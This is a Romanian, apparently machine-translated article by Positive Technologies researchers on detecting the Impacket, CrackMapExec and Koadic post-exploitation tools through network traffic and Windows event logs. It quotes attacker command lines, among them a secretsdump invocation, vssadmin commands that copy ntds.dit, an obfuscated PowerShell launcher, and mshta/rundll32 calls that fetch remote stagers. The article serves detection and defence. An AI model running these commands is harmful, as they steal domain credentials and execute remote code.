Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri

Numărul de atacuri în sectorul corporativ crește în fiecare an: de exemplu în 2017, au fost înregistrate cu 13% mai multe incidente unice decât în ​​2016, iar la sfârșitul anului 2018 - Cu 27% mai multe incidentedecât în ​​perioada anterioară. Inclusiv cele în care principalul instrument de lucru este sistemul de operare Windows. În 2017-2018, APT Dragonfly, APT28, APT MuddyWater a efectuat atacuri asupra organizațiilor guvernamentale și militare din Europa, America de Nord și Arabia Saudită. Și am folosit trei instrumente pentru asta - Pachet, CrackMapExec и Koadic. Codul lor sursă este deschis și disponibil pe GitHub.

Este de remarcat faptul că aceste instrumente nu sunt folosite pentru penetrarea inițială, ci pentru a dezvolta un atac în cadrul infrastructurii. Atacatorii le folosesc în diferite etape ale atacului după pătrunderea perimetrului. Acest lucru, apropo, este greu de detectat și adesea doar cu ajutorul tehnologiei identificarea urmelor de compromis în traficul de rețea sau instrumente care permit detectează acțiunile active ale unui atacator după ce acesta a pătruns în infrastructură. Instrumentele oferă o varietate de funcții, de la transferul de fișiere până la interacțiunea cu registrul și executarea comenzilor pe o mașină la distanță. Am efectuat un studiu al acestor instrumente pentru a determina activitatea lor în rețea.

Ce trebuia să facem:

  • Înțelegeți cum funcționează instrumentele de hacking. Aflați ce trebuie să exploate atacatorii și ce tehnologii pot folosi.
  • Găsiți ceea ce nu este detectat de instrumentele de securitate a informațiilor în primele etape ale unui atac. Faza de recunoaștere poate fi omisă, fie pentru că atacatorul este un atacator intern, fie pentru că atacatorul exploatează o gaură în infrastructură care nu era cunoscută anterior. Devine posibilă restabilirea întregului lanț al acțiunilor sale, de unde dorința de a detecta mișcarea ulterioară.
  • Eliminați fals pozitive din instrumentele de detectare a intruziunilor. Nu trebuie să uităm că atunci când anumite acțiuni sunt detectate doar pe baza recunoașterii, sunt posibile erori frecvente. De obicei, în infrastructură există un număr suficient de modalități, care nu se pot distinge de cele legitime la prima vedere, pentru a obține orice informație.

Ce oferă aceste instrumente atacatorilor? Dacă acesta este Impacket, atunci atacatorii primesc o bibliotecă mare de module care pot fi utilizate în diferite etape ale atacului care urmează după spargerea perimetrului. Multe instrumente folosesc modulele Impacket intern - de exemplu, Metasploit. Are dcomexec și wmiexec pentru executarea comenzilor de la distanță, secretsdump pentru obținerea de conturi din memorie care sunt adăugate din Impacket. Ca urmare, detectarea corectă a activității unei astfel de biblioteci va asigura detectarea derivaților.

Nu este o coincidență că creatorii au scris „Powered by Impacket” despre CrackMapExec (sau pur și simplu CME). În plus, CME are funcționalități gata făcute pentru scenarii populare: Mimikatz pentru obținerea parolelor sau a hashurilor acestora, implementarea agentului Meterpreter sau Empire pentru execuția de la distanță și Bloodhound la bord.

Al treilea instrument pe care l-am ales a fost Koadic. Este destul de recent, a fost prezentat la conferința internațională a hackerilor DEFCON 25 din 2017 și se distinge printr-o abordare non-standard: funcționează prin HTTP, Java Script și Microsoft Visual Basic Script (VBS). Această abordare se numește viață din pământ: instrumentul folosește un set de dependențe și biblioteci încorporate în Windows. Creatorii îl numesc COM Command & Control sau C3.

IMPACKET

Funcționalitatea lui Impacket este foarte largă, variind de la recunoașterea în interiorul AD și colectarea datelor de pe serverele interne MS SQL, până la tehnici de obținere a acreditărilor: acesta este un atac de retransmitere SMB și obținerea fișierului ntds.dit care conține hash-uri de parole de utilizator de la un controler de domeniu. Impacket execută, de asemenea, comenzi de la distanță folosind patru metode diferite: WMI, Windows Scheduler Management Service, DCOM și SMB și necesită acreditări pentru a face acest lucru.

Secretsdump

Să aruncăm o privire la secretsdump. Acesta este un modul care poate viza atât mașinile utilizatorului, cât și controlerele de domeniu. Poate fi folosit pentru a obține copii ale zonelor de memorie LSA, SAM, SECURITY, NTDS.dit, astfel încât să poată fi văzut în diferite etape ale atacului. Primul pas în funcționarea modulului este autentificarea prin SMB, care necesită fie parola utilizatorului, fie hash-ul acesteia pentru a efectua automat atacul Pass the Hash. Urmează o solicitare de deschidere a accesului la Service Control Manager (SCM) și de a obține acces la registru prin protocolul winreg, cu ajutorul căruia un atacator poate afla datele ramurilor de interes și poate obține rezultate prin SMB.

În fig. 1 vedem cum exact când se folosește protocolul winreg, accesul se obține folosind o cheie de registry cu un LSA. Pentru a face acest lucru, utilizați comanda DCERPC cu opcode 15 - OpenKey.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 1. Deschiderea unei chei de registry utilizând protocolul winreg

Apoi, când se obține accesul la cheie, valorile sunt salvate cu comanda SaveKey cu opcode 20. Impacket face acest lucru într-un mod foarte specific. Salvează valorile într-un fișier al cărui nume este un șir de 8 caractere aleatorii atașate cu .tmp. În plus, încărcarea ulterioară a acestui fișier are loc prin SMB din directorul System32 (Fig. 2).

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 2. Schemă pentru obținerea unei chei de registry de la o mașină la distanță

Se pare că o astfel de activitate în rețea poate fi detectată prin interogări către anumite ramuri de registru folosind protocolul winreg, nume specifice, comenzi și ordinea acestora.

Acest modul lasă, de asemenea, urme în jurnalul de evenimente Windows, făcându-l ușor de detectat. De exemplu, ca rezultat al executării comenzii

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

În jurnalul Windows Server 2016 vom vedea următoarea secvență de cheie de evenimente:

1. 4624 - Conectare la distanță.
2. 5145 - verificarea drepturilor de acces la serviciul de la distanță winreg.
3. 5145 - verificarea drepturilor de acces la fișiere în directorul System32. Fișierul are numele aleatoriu menționat mai sus.
4. 4688 - crearea unui proces cmd.exe care lansează vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - crearea unui proces cu comanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - crearea unui proces cu comanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - crearea unui proces cu comanda:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

La fel ca multe instrumente post-exploatare, Impacket are module pentru executarea de la distanță a comenzilor. Ne vom concentra pe smbexec, care oferă un shell de comandă interactiv pe o mașină la distanță. Acest modul necesită și autentificare prin SMB, fie cu o parolă, fie cu un hash de parolă. În fig. În Figura 3 vedem un exemplu despre cum funcționează un astfel de instrument, în acest caz este vorba de consola locală de administrator.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 3. Consola interactivă smbexec

Primul pas al smbexec după autentificare este deschiderea SCM cu comanda OpenSCManagerW (15). Interogarea este notabilă: câmpul MachineName este DUMMY.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 4. Solicitați deschiderea Service Control Manager

Apoi, serviciul este creat folosind comanda CreateServiceW (12). În cazul smbexec, putem vedea aceeași logică de construcție a comenzii de fiecare dată. În fig. 5 verde indică parametrii de comandă neschimbabili, galben indică ceea ce poate schimba un atacator. Este ușor de observat că numele fișierului executabil, directorul acestuia și fișierul de ieșire pot fi schimbate, dar restul este mult mai greu de schimbat fără a perturba logica modulului Impacket.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 5. Solicitați crearea unui serviciu utilizând Service Control Manager

Smbexec lasă și urme evidente în jurnalul de evenimente Windows. În jurnalul Windows Server 2016 pentru shell-ul de comandă interactiv cu comanda ipconfig, vom vedea următoarea secvență de cheie de evenimente:

1. 4697 — instalarea serviciului pe aparatul victimei:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - crearea procesului cmd.exe cu argumentele de la punctul 1.
3. 5145 - verificarea drepturilor de acces la fișierul __output din directorul C$.
4. 4697 — instalarea serviciului pe aparatul victimei.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - crearea procesului cmd.exe cu argumentele de la punctul 4.
6. 5145 - verificarea drepturilor de acces la fișierul __output din directorul C$.

Pachetul este baza pentru dezvoltarea instrumentelor de atac. Acceptă aproape toate protocoalele din infrastructura Windows și, în același timp, are propriile sale caracteristici. Iată solicitări specifice winreg și utilizarea API-ului SCM cu formarea de comandă caracteristică și formatul numelui fișierului și SMB share SYSTEM32.

CRACKMAPEXEC

Instrumentul CME este conceput în primul rând pentru a automatiza acele acțiuni de rutină pe care un atacator trebuie să le efectueze pentru a avansa în rețea. Vă permite să lucrați împreună cu binecunoscutul agent Empire și Meterpreter. Pentru a executa comenzi pe ascuns, CME le poate înfunda. Folosind Bloodhound (un instrument separat de recunoaștere), un atacator poate automatiza căutarea unei sesiuni active de administrator de domeniu.

Copoi

Bloodhound, ca instrument independent, permite recunoașterea avansată în cadrul rețelei. Acesta colectează date despre utilizatori, mașini, grupuri, sesiuni și este furnizat ca script PowerShell sau fișier binar. Protocoalele bazate pe LDAP sau SMB sunt folosite pentru a colecta informații. Modulul de integrare CME permite lui Bloodhound să fie descărcat pe computerul victimei, să ruleze și să primească datele colectate după execuție, automatizând astfel acțiunile în sistem și făcându-le mai puțin vizibile. Shell-ul grafic Bloodhound prezintă datele colectate sub formă de grafice, ceea ce vă permite să găsiți cea mai scurtă cale de la mașina atacatorului la administratorul de domeniu.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 6. Interfață Bloodhound

Pentru a rula pe computerul victimei, modulul creează o sarcină folosind ATSVC și SMB. ATSVC este o interfață pentru lucrul cu Windows Task Scheduler. CME folosește funcția NetrJobAdd(1) pentru a crea sarcini prin rețea. Un exemplu de ceea ce trimite modulul CME este prezentat în Fig. 7: Acesta este un apel de comandă cmd.exe și un cod ofuscat sub formă de argumente în format XML.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Fig.7. Crearea unei sarcini prin CME

După ce sarcina a fost trimisă spre execuție, aparatul victimei pornește Bloodhound în sine, iar acest lucru poate fi văzut în trafic. Modulul este caracterizat de interogări LDAP pentru a obține grupuri standard, o listă a tuturor mașinilor și utilizatorilor din domeniu și pentru a obține informații despre sesiunile de utilizator active prin cererea SRVVSVC NetSessEnum.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 8. Obținerea unei liste de sesiuni active prin SMB

În plus, lansarea Bloodhound pe computerul unei victime cu auditarea activată este însoțită de un eveniment cu ID 4688 (crearea procesului) și numele procesului «C:WindowsSystem32cmd.exe». Ceea ce este remarcabil sunt argumentele liniei de comandă:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modulul enum_avproducts este foarte interesant din punct de vedere al funcționalității și implementării. WMI vă permite să utilizați limbajul de interogare WQL pentru a prelua date din diferite obiecte Windows, ceea ce este, în esență, ceea ce folosește acest modul CME. Acesta generează interogări către clasele AntiSpywareProduct și AntiМirusProduct despre instrumentele de protecție instalate pe computerul victimei. Pentru a obține datele necesare, modulul se conectează la spațiul de nume rootSecurityCenter2, apoi generează o interogare WQL și primește un răspuns. În fig. Figura 9 prezintă conținutul unor astfel de cereri și răspunsuri. În exemplul nostru, a fost găsit Windows Defender.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 9. Activitatea de rețea a modulului enum_avproducts

Adesea, auditarea WMI (Trace WMI-Activity), în ale cărei evenimente puteți găsi informații utile despre interogările WQL, poate fi dezactivată. Dar dacă este activat, atunci dacă se rulează scriptul enum_avproducts, va fi salvat un eveniment cu ID 11. Acesta va conține numele utilizatorului care a trimis cererea și numele în spațiul de nume rootSecurityCenter2.

Fiecare dintre modulele CME avea propriile artefacte, fie că este vorba de interogări WQL specifice sau de crearea unui anumit tip de sarcină într-un planificator de sarcini cu ofuscare și activitate specifică Bloodhound în LDAP și SMB.

KOADIC

O caracteristică distinctivă a Koadic este utilizarea interpreților JavaScript și VBScript încorporați în Windows. În acest sens, urmează tendința de a trăi din teren - adică nu are dependențe externe și folosește instrumente standard Windows. Acesta este un instrument de comandă și control complet (CnC), deoarece după infectare este instalat un „implant” pe mașină, permițându-i să fie controlat. O astfel de mașină, în terminologia koadică, se numește „zombie”. Dacă nu există privilegii suficiente pentru funcționarea completă din partea victimei, Koadic are capacitatea de a le ridica folosind tehnicile de ocolire a controlului contului de utilizator (UAC bypass).

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 10. Shell Koadic

Victima trebuie să inițieze comunicarea cu serverul de comandă și control. Pentru a face acest lucru, ea trebuie să contacteze un URI pregătit anterior și să primească corpul principal Koadic folosind unul dintre stagers. În fig. Figura 11 prezintă un exemplu pentru mshta stager.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 11. Inițializarea unei sesiuni cu serverul CnC

Pe baza variabilei de răspuns WS, devine clar că execuția are loc prin WScript.Shell, iar variabilele STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE conțin informații cheie despre parametrii sesiunii curente. Aceasta este prima pereche cerere-răspuns dintr-o conexiune HTTP cu un server CnC. Solicitările ulterioare sunt direct legate de funcționalitatea modulelor (implant) numite. Toate modulele Koadic funcționează numai cu o sesiune activă cu CnC.

Mimikatz

La fel cum CME lucrează cu Bloodhound, Koadic lucrează cu Mimikatz ca un program separat și are mai multe moduri de a-l lansa. Mai jos este o pereche cerere-răspuns pentru descărcarea implantului Mimikatz.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 12. Transferați Mimikatz la Koadic

Puteți vedea cum s-a schimbat formatul URI din cerere. Acum conține o valoare pentru variabila csrf, care este responsabilă pentru modulul selectat. Nu acordați atenție numelui ei; Știm cu toții că CSRF este de obicei înțeles diferit. Răspunsul a fost același corp principal al lui Koadic, la care a fost adăugat cod legat de Mimikatz. Este destul de mare, așa că să ne uităm la punctele cheie. Aici avem biblioteca Mimikatz codificată în base64, o clasă .NET serializată care o va injecta și argumente pentru lansarea Mimikatz. Rezultatul execuției este transmis prin rețea în text clar.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 13. Rezultatul rulării Mimikatz pe o mașină la distanță

Exec_cmd

Koadic are și module care pot executa comenzi de la distanță. Aici vom vedea aceeași metodă de generare a URI și variabilele familiare sid și csrf. În cazul modulului exec_cmd, codul este adăugat corpului care este capabil să execute comenzi shell. Mai jos este prezentat un astfel de cod conținut în răspunsul HTTP al serverului CnC.

Cum să detectați atacurile asupra infrastructurii Windows: studierea instrumentelor pentru hackeri
Orez. 14. Codul implantului exec_cmd

Variabila GAWTUUGCFI cu atributul familiar WS este necesară pentru executarea codului. Cu ajutorul lui, implantul apelează shell-ul, procesând două ramuri de cod - shell.exec cu întoarcerea fluxului de date de ieșire și shell.run fără a reveni.

Koadic nu este un instrument tipic, dar are propriile artefacte prin care poate fi găsit în traficul legitim:

  • formarea specială a solicitărilor HTTP,
  • folosind winHttpRequests API,
  • crearea unui obiect WScript.Shell prin ActiveXObject,
  • corp executabil mare.

Conexiunea inițială este inițiată de către stager, astfel încât este posibilă detectarea activității acesteia prin evenimente Windows. Pentru mshta, acesta este evenimentul 4688, care indică crearea unui proces cu atributul start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

În timp ce Koadic rulează, puteți vedea alte evenimente 4688 cu atribute care îl caracterizează perfect:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Constatări

Tendința de a trăi din terenuri câștigă popularitate în rândul criminalilor. Ei folosesc instrumentele și mecanismele încorporate în Windows pentru nevoile lor. Vedem că instrumentele populare Koadic, CrackMapExec și Impacket care urmează acest principiu apar din ce în ce mai mult în rapoartele APT. Numărul de furcături de pe GitHub pentru aceste instrumente este, de asemenea, în creștere, iar altele noi apar (acum sunt deja aproximativ o mie). Tendința câștigă popularitate datorită simplității sale: atacatorii nu au nevoie de instrumente terțe; sunt deja pe mașinile victimelor și le ajută să ocolească măsurile de securitate. Ne concentrăm pe studierea comunicării în rețea: fiecare instrument descris mai sus își lasă urme proprii în traficul de rețea; studiul detaliat al acestora ne-a permis să predăm produsul nostru PT Network Attack Discovery detectează-le, ceea ce ajută în cele din urmă la investigarea întregului lanț de incidente cibernetice care îi implică.

Autori:

  • Anton Tyurin, șeful Departamentului Servicii de experți, Centrul de securitate PT Expert, Tehnologii pozitive
  • Egor Podmokov, expert, Centrul de securitate PT Expert, Tehnologii pozitive

Sursa: www.habr.com

Adauga un comentariu